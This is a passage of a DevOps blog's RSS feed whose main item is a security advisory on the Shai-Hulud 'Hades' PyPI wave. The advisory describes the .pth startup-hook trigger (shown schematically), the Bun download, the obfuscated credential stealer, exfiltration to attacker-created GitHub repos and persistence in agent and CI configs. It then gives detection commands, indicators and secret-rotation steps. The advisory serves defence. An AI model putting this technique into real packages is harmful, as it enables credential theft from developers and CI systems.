          aria-label="Copy link to section"
          data-heading-id="h3-beyond-tokens-per-watt-using-ubuntu-2604-lts-for-ai"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Tokens per watt (TpW) – the measure of useful AI work produced per watt of energy consumed – is the metric at top of mind for CEOs, heads of AI, and infrastructure teams alike. With the tremendous cos</p>
<p><strong>📅 Jun 5, 2026</strong> • <strong>📰 Ubuntu Blog</strong></p>
<p><a href="https://ubuntu.com//blog/beyond-tokens-per-watt"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-cyber-resilience-act-cra-how-suse-provides-innovation-and-trust-in-the-secure-software-era" class="group relative scroll-mt-24">
        <a href="#h3-cyber-resilience-act-cra-how-suse-provides-innovation-and-trust-in-the-secure-software-era" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Cyber Resilience Act (CRA): How SUSE Provides Innovation and Trust in the Secure Software Era
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-cyber-resilience-act-cra-how-suse-provides-innovation-and-trust-in-the-secure-software-era"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The European Union’s Cyber Resilience Act (CRA) represents a historic evolution in the global digital landscape. Rather than viewing it as a regulatory hurdle, forward-thinking enterprises recognize t</p>
<p><strong>📅 Jun 4, 2026</strong> • <strong>📰 SUSE Blog</strong></p>
<p><a href="https://www.suse.com/c/cyber-resilience-act-compliance-suse/"><strong>🔗 Read more</strong></a></p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[Shai-Hulud Reaches PyPI: The Hades Wave That Runs Before You Import It]]></title>
      <link>https://devops.anhp.site/posts/shai-hulud-hades-pypi-wave-june-2026</link>
      <description><![CDATA[The Shai-Hulud worm jumped to PyPI on June 7. The Hades wave hides in 19 Python packages, runs at interpreter startup through a .pth hook before you import anything, and steals your CI/CD secrets.]]></description>
      <pubDate>Sun, 07 Jun 2026 09:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops.anhp.site/posts/shai-hulud-hades-pypi-wave-june-2026</guid>
      <category><![CDATA[DevOps]]></category>
      
      <category><![CDATA[Supply Chain]]></category><category><![CDATA[PyPI]]></category><category><![CDATA[Python]]></category><category><![CDATA[Security]]></category><category><![CDATA[Shai-Hulud]]></category><category><![CDATA[DevOps]]></category><category><![CDATA[CICD]]></category>
      <content:encoded><![CDATA[<p>On June 7, 2026, the Shai-Hulud worm reached PyPI in a way it had not before. Earlier waves rode npm install hooks and Packagist. This one, which Socket tracks as the &quot;Hades&quot; branch of the Shai-Hulud/Miasma family, hides inside Python wheels and runs the moment your interpreter starts, before you import anything from the package.</p>
<p>That detail matters. Most people picture a malicious package as something that fires when you <code>import</code> it, or at worst during a build step you can sandbox. Hades runs through a Python startup hook, so a single <code>pip install</code> of a poisoned wheel is enough to execute the payload on the next interpreter start, on your laptop or on a CI runner. Once it runs, it goes after exactly what a build machine tends to hold: GitHub tokens, PyPI and npm publishing tokens, cloud credentials, and SSH keys.</p>
<p>This is the same worm family behind the <a href="/posts/mini-shai-hulud-pytorch-lightning-supply-chain-attack">PyTorch Lightning incident</a> and the <a href="/posts/antv-npm-shai-hulud-wave-may-2026">AntV npm wave</a>. The tradecraft is familiar, but the Python delivery is new. This post is the practical version: what shipped, how the startup trick works, the indicators to grep for, and the order to rotate secrets if you were exposed.</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TLDR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>New Shai-Hulud wave on PyPI, June 7, 2026, tracked as the &quot;Hades&quot; branch. Socket counted 37 malicious wheels across 19 PyPI packages, plus a parallel npm campaign of 411 artifacts across 106 packages.</li>
<li>It looks like a single maintainer-account takeover. Consecutive patch releases were mass-published across the author&#39;s whole portfolio at once.</li>
<li>The wheels carry a <code>.pth</code> startup hook that runs at interpreter startup, with no import required, then downloads Bun and runs an obfuscated JavaScript stealer.</li>
<li>It steals GitHub, PyPI, npm, cloud (AWS, GCP, Azure), Kubernetes, and Vault credentials, plus <code>.env</code>, <code>.npmrc</code>, <code>.pypirc</code>, and AI tool configs, then exfiltrates to attacker-created public GitHub repos.</li>
<li>High-download research packages were hit, including <code>dynamo-release</code>, <code>spateo-release</code>, <code>coolbox</code>, and <code>ufish</code>. PyPI quarantined a number of releases, and Socket flagged the cluster minutes after publication.</li>
</ul>
<h2 id="h2-prerequisites" class="group relative scroll-mt-24">
        <a href="#h2-prerequisites" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Prerequisites
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-prerequisites"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>You install Python packages with <code>pip</code>, <code>uv</code>, or <code>poetry</code>, or your CI does</li>
<li>You publish to PyPI, or your build runners hold GitHub or cloud credentials</li>
<li>Basic comfort with the shell and, for the org audit, the GitHub CLI (<code>gh</code>)</li>
</ul>
<h2 id="h2-what-shipped" class="group relative scroll-mt-24">
        <a href="#h2-what-shipped" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What shipped
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-shipped"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Socket&#39;s analysis puts the PyPI side at 37 malicious wheel artifacts across 19 packages, with 411 artifacts across 106 packages on the npm side of the same campaign, for 448 tracked artifacts in total. The pattern on PyPI was a burst of consecutive patch releases across one author&#39;s entire portfolio, which points to a compromised maintainer account rather than 19 separate attacks.</p>
<p>The painful part is that several of the affected packages are real research tools with hundreds of thousands of cumulative downloads:</p>
<ul>
<li><code>dynamo-release</code>, a single-cell RNA velocity framework</li>
<li><code>spateo-release</code>, a spatial transcriptomics toolkit</li>
<li><code>coolbox</code>, a Jupyter genomic visualization library</li>
<li><code>ufish</code> and <code>napari-ufish</code>, deep-learning FISH spot detection</li>
</ul>
<p>The full set of 19 compromised PyPI packages:</p>
<pre><code class="hljs language-text">bramin            cmd2func          coolbox
dynamo-release    executor-engine   executor-http
funcdesc          magique           magique-ai
mrbios            napari-ufish      nucbox
okite             pantheon-agents   pantheon-toolsets
spateo-release    synago            ufish
uprobe
</code></pre><p>If any of these are in your environment, treat the host as compromised and work through the response section below.</p>
<h2 id="h2-how-the-hades-wave-works" class="group relative scroll-mt-24">
        <a href="#h2-how-the-hades-wave-works" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          How the Hades wave works
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-how-the-hades-wave-works"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The clever, and genuinely new, part is the trigger. Each malicious wheel ships two files: a startup hook named like <code>*-setup.pth</code>, and an obfuscated JavaScript payload named <code>_index.js</code>.</p>
<h3 id="h3-the-pth-startup-trick" class="group relative scroll-mt-24">
        <a href="#h3-the-pth-startup-trick" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The .pth startup trick
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-pth-startup-trick"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Python&#39;s <code>site</code> module processes every <code>.pth</code> file in your <code>site-packages</code> directory at interpreter startup. Normally a <code>.pth</code> file just adds directories to the import path. But there is a documented behavior: any line that begins with <code>import</code> is executed. Hades abuses exactly that.</p>
<pre><code class="hljs language-text"># A normal .pth file just lists paths:
../some/extra/path

# Hades ships a line that starts with &quot;import&quot;, so Python RUNS it
# every time the interpreter starts, with no package import needed:
import os; exec(&lt;loader that finds and runs _index.js&gt;)
</code></pre><p>This converts a one-time <code>pip install</code> into automatic execution on the next <code>python</code> invocation. You do not have to import the package. You do not even have to run the project that depends on it. Any Python process on the machine triggers it.</p>
<h3 id="h3-bring-your-own-runtime" class="group relative scroll-mt-24">
        <a href="#h3-bring-your-own-runtime" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Bring your own runtime
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-bring-your-own-runtime"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The Python loader does not assume Node.js or any particular runtime is present. It:</p>
<ol>
<li>Checks for a sentinel file at <code>&lt;tempdir&gt;/.bun_ran</code> and exits early if it exists</li>
<li>Locates <code>_index.js</code> inside the installed package</li>
<li>Downloads Bun v1.3.13 from <code>github.com/oven-sh/bun</code> if no cached binary is around</li>
<li>Runs <code>bun run _index.js</code></li>
<li>Writes the sentinel so it does not fire repeatedly</li>
</ol>
<p>Downloading its own runtime is a Shai-Hulud signature. It means the payload runs the same way whether or not the victim has Node installed, which is why a Python-only shop is not safe just because it has no npm toolchain.</p>
<h3 id="h3-the-stealer" class="group relative scroll-mt-24">
        <a href="#h3-the-stealer" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The stealer
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-stealer"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><code>_index.js</code> is wrapped in several layers: an <code>eval</code> shell with character-code and rotation decoding, AES-128-GCM and AES-256-GCM stages, gzip, custom PBKDF2/SHA256 decoders, and decoy tokens to slow analysis. It also checks the environment, skipping execution under a Russian locale and watching for StepSecurity harden-runner.</p>
<p>Once decoded, it harvests a wide set of secrets:</p>
<ul>
<li>GitHub tokens, GitHub Actions runner secrets, and SSH keys</li>
<li>Publishing tokens for npm, PyPI, RubyGems, JFrog, and CircleCI</li>
<li>AWS, GCP, Azure, Kubernetes, and HashiCorp Vault credentials</li>
<li><code>.env</code>, <code>.npmrc</code>, <code>.pypirc</code>, Docker configs, shell history, and cloud CLI caches</li>
<li>Claude and MCP configuration files</li>
</ul>
<h3 id="h3-exfiltration" class="group relative scroll-mt-24">
        <a href="#h3-exfiltration" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Exfiltration
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-exfiltration"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The primary channel is GitHub itself. The payload uses a stolen token to create a public repository via <code>POST /user/repos</code>, then commits the encrypted results to paths like <code>results/results-&lt;timestamp&gt;-&lt;counter&gt;.json</code>. The campaign markers are blunt:</p>
<ul>
<li>Repository description: <code>Hades - The End for the Damned</code></li>
<li>Commit message marker: <code>IfYouYankThisTokenItWillNukeTheComputerOfTheOwnerFully</code></li>
<li>On CI, a GitHub Actions artifact named <code>format-results</code> and a workflow named <code>Run Copilot</code></li>
</ul>
<p>There is also traffic to <code>https://api.anthropic.com/v1/api</code>. That is Anthropic&#39;s real API host, but <code>/v1/api</code> is not a real route. Socket assesses it as network-log camouflage, traffic designed to look benign rather than to move data.</p>
<h3 id="h3-what-is-new-this-time" class="group relative scroll-mt-24">
        <a href="#h3-what-is-new-this-time" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What is new this time
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-what-is-new-this-time"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Compared with earlier Shai-Hulud waves, three things stand out:</p>
<ul>
<li><strong>Python-native trigger.</strong> A <code>.pth</code> startup hook replaces the npm <code>preinstall</code> script. It runs earlier and on a broader set of processes.</li>
<li><strong>Hades theming.</strong> The previous Miasma wave used Zelda references. This one uses underworld names like <code>stygian</code>, <code>cerberus</code>, and <code>thanatos</code>, with the <code>Hades - The End for the Damned</code> exfil marker.</li>
<li><strong>Toolchain persistence.</strong> Recovered artifacts reach into developer tooling: a <code>gh-token-monitor</code> daemon with systemd or LaunchAgent persistence, <code>.claude/setup.mjs</code> and <code>.github/setup.js</code> hooks, an injected <code>.github/workflows/codeql.yml</code>, and <code>~/.local/share/updater/update.py</code>.</li>
</ul>
<h2 id="h2-are-you-exposed-what-to-check" class="group relative scroll-mt-24">
        <a href="#h2-are-you-exposed-what-to-check" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Are you exposed? What to check
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-are-you-exposed-what-to-check"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>First, check whether any affected package is installed:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># List installed packages and match against the compromised set</span>
pip list --format=freeze 2&gt;/dev/null | grep -iE \
  <span class="hljs-string">&#x27;^(bramin|cmd2func|coolbox|dynamo-release|executor-engine|executor-http|funcdesc|magique|magique-ai|mrbios|napari-ufish|nucbox|okite|pantheon-agents|pantheon-toolsets|spateo-release|synago|ufish|uprobe)=&#x27;</span>
</code></pre><p>Then scan the host for the runtime indicators the loader leaves behind:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Sentinel file and the dropped Bun runtime</span>
<span class="hljs-built_in">ls</span> -la <span class="hljs-string">&quot;<span class="hljs-variable">${TMPDIR:-/tmp}</span>/.bun_ran&quot;</span> /tmp/b.zip /tmp/b/bun 2&gt;/dev/null

<span class="hljs-comment"># The JavaScript payload and the startup hook inside site-packages</span>
find <span class="hljs-string">&quot;<span class="hljs-subst">$(python -c &#x27;import site; print(site.getsitepackages()</span>[0])&#x27; 2&gt;/dev/null)&quot;</span> \
  -name <span class="hljs-string">&#x27;_index.js&#x27;</span> -o -name <span class="hljs-string">&#x27;*-setup.pth&#x27;</span> 2&gt;/dev/null

<span class="hljs-comment"># Any .pth file that executes an import line (the startup trick)</span>
grep -rEl <span class="hljs-string">&#x27;^import &#x27;</span> $(python -c <span class="hljs-string">&#x27;import site; print(&quot; &quot;.join(site.getsitepackages()))&#x27;</span> 2&gt;/dev/null) 2&gt;/dev/null
</code></pre><p>If you have a GitHub organization, audit it for the exfiltration markers:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Public repos created with the Hades description</span>
gh search repos <span class="hljs-string">&#x27;Hades - The End for the Damned&#x27;</span> --json fullName,createdAt

<span class="hljs-comment"># Commits carrying the campaign marker across your org</span>
gh search commits <span class="hljs-string">&#x27;IfYouYankThisTokenItWillNukeTheComputerOfTheOwnerFully&#x27;</span> --json repository

<span class="hljs-comment"># Suspicious workflow and artifact names in your repos</span>
<span class="hljs-comment"># (look for a workflow called &quot;Run Copilot&quot; and artifacts named &quot;format-results&quot;)</span>
</code></pre><p>Watch your logs for a <code>python</code> process spawning a <code>bun</code> binary, outbound requests to <code>github.com/oven-sh/bun/releases/download/</code>, and writes to <code>/tmp/b.zip</code> or <code>/tmp/b/bun</code>.</p>
<h2 id="h2-if-you-were-hit-respond-in-this-order" class="group relative scroll-mt-24">
        <a href="#h2-if-you-were-hit-respond-in-this-order" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          If you were hit: respond in this order
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-if-you-were-hit-respond-in-this-order"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Assume any secret reachable from the affected host or runner is burned. Rotate in priority order, highest blast radius first.</p>
<ol>
<li><strong>GitHub.</strong> Personal access tokens, GitHub App tokens, Actions secrets, and deploy keys. Revoke, do not just rotate, anything the runner could read.</li>
<li><strong>Package publishing.</strong> PyPI, npm, RubyGems, JFrog, and CircleCI tokens. Re-issue with 2FA and scoped permissions.</li>
<li><strong>Cloud and orchestration.</strong> AWS, GCP, Azure, Kubernetes service-account tokens, and Vault tokens. Review CloudTrail or the equivalent for use during the exposure window.</li>
<li><strong>Keys and local config.</strong> SSH keys, Docker credentials, Git credential helpers, and cloud CLI profiles.</li>
<li><strong>AI and developer tools.</strong> Anthropic and Claude or MCP tokens, and anything stored in editor or agent configs.</li>
</ol>
<p>Then clean the environment:</p>
<ul>
<li>Remove the malicious releases and pin to a known-good version, or remove the package entirely</li>
<li>Rebuild the affected machine or container from a clean image rather than deleting files in place</li>
<li>Delete the persistence artifacts: <code>gh-token-monitor</code>, <code>.claude/setup.mjs</code>, <code>.github/setup.js</code>, the injected <code>codeql.yml</code>, and <code>~/.local/share/updater/update.py</code></li>
<li>Remove any attacker-created public repos and the <code>format-results</code> artifacts from your org</li>
</ul>
<h2 id="h2-how-to-prevent-the-next-one" class="group relative scroll-mt-24">
        <a href="#h2-how-to-prevent-the-next-one" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          How to prevent the next one
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-how-to-prevent-the-next-one"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The mechanism changes each wave, but the defenses are stable:</p>
<ul>
<li><strong>Pin and verify.</strong> Use a lockfile with hashes (<code>pip install --require-hashes</code>, <code>uv.lock</code>, or <code>poetry.lock</code>). Hash pinning stops a surprise patch release from sliding in.</li>
<li><strong>Scan for the pattern, not the name.</strong> A new wave will use new package names. Flag wheels that ship an executable <code>.pth</code> line, download a runtime or binary, write executables to temp directories, or hand off to a JavaScript payload.</li>
<li><strong>Isolate installs.</strong> Run <code>pip install</code> for untrusted or first-time dependencies in a sandbox or ephemeral container with no ambient credentials. CI runners should use short-lived, scoped tokens, not long-lived org secrets.</li>
<li><strong>Lock down runners.</strong> Tools like StepSecurity harden-runner that egress-filter CI are worth it precisely because this malware checks for them and the payload tries to avoid them.</li>
<li><strong>Audit the AI toolchain.</strong> Treat Claude, MCP, IDE, and workflow configs as part of your attack surface now. These campaigns have moved past package hooks into developer tooling, and a poisoned <code>.github/workflows/</code> file or agent config persists long after the package is gone.</li>
</ul>
<h2 id="h2-summary" class="group relative scroll-mt-24">
        <a href="#h2-summary" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Summary
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-summary"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The Hades wave is a reminder that &quot;I only use Python&quot; is not a safe place to stand. Shai-Hulud now ships Python wheels that execute at interpreter startup through a <code>.pth</code> hook, pull down their own runtime, and drain whatever credentials a developer or CI machine can see.</p>
<p>The mental model to keep:</p>
<ul>
<li>Installation is execution. A <code>pip install</code> of a poisoned wheel can run code on the next <code>python</code> start, with no import.</li>
<li>The target is your secrets, especially CI/CD and GitHub tokens, so a hit on one runner can become a hit on your whole supply chain.</li>
<li>The fix order is rotate, rebuild, and pin, in that order, and then make the next wave easier to catch with hash pinning and isolated installs.</li>
</ul>
<p>Check your environment with the commands above, rotate anything that was exposed, and pin your dependencies so the next mass patch release cannot walk straight in.</p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[Is Valkey Ready to Replace Redis in 2026?]]></title>
      <link>https://devops.anhp.site/posts/is-valkey-ready-to-replace-redis-2026</link>
      <description><![CDATA[Valkey forked from Redis after the 2024 license change and has matured fast. Here is whether it is production-ready, how the migration works, and whether the AGPL question even applies to you.]]></description>
      <pubDate>Fri, 05 Jun 2026 09:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops.anhp.site/posts/is-valkey-ready-to-replace-redis-2026</guid>
      <category><![CDATA[DevOps]]></category>
      
      <category><![CDATA[Valkey]]></category><category><![CDATA[Redis]]></category><category><![CDATA[Caching]]></category><category><![CDATA[Open Source]]></category><category><![CDATA[Migration]]></category><category><![CDATA[DevOps]]></category>
      <content:encoded><![CDATA[<p>If you run Redis in production, the last two years gave you a question you did not ask for: stay on Redis, or move to Valkey? In 2024 the answer was &quot;wait and see.&quot; The fork was new, the feature gap was tiny, and nobody wanted to re-point their cache layer at a project with no track record.</p>
<p>In 2026 the picture is clear enough to act on. Valkey is on its 9.1 release, it is the default in-memory store on AWS ElastiCache, and it has its own performance roadmap. Redis, for its part, went back to an open-source license with Redis 8 and pulled the old Redis Stack modules into the core engine. This is no longer a simple fork-versus-original story.</p>
<p>This post answers the practical question directly. Is Valkey ready for production, where do the two projects actually differ now, does the AGPL license that Redis adopted affect you, and how does the migration work if you decide to move? For a side-by-side feature table, pricing, and a decision matrix, see our companion <a href="/comparisons/valkey-vs-redis">Valkey vs Redis comparison</a>.</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TLDR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
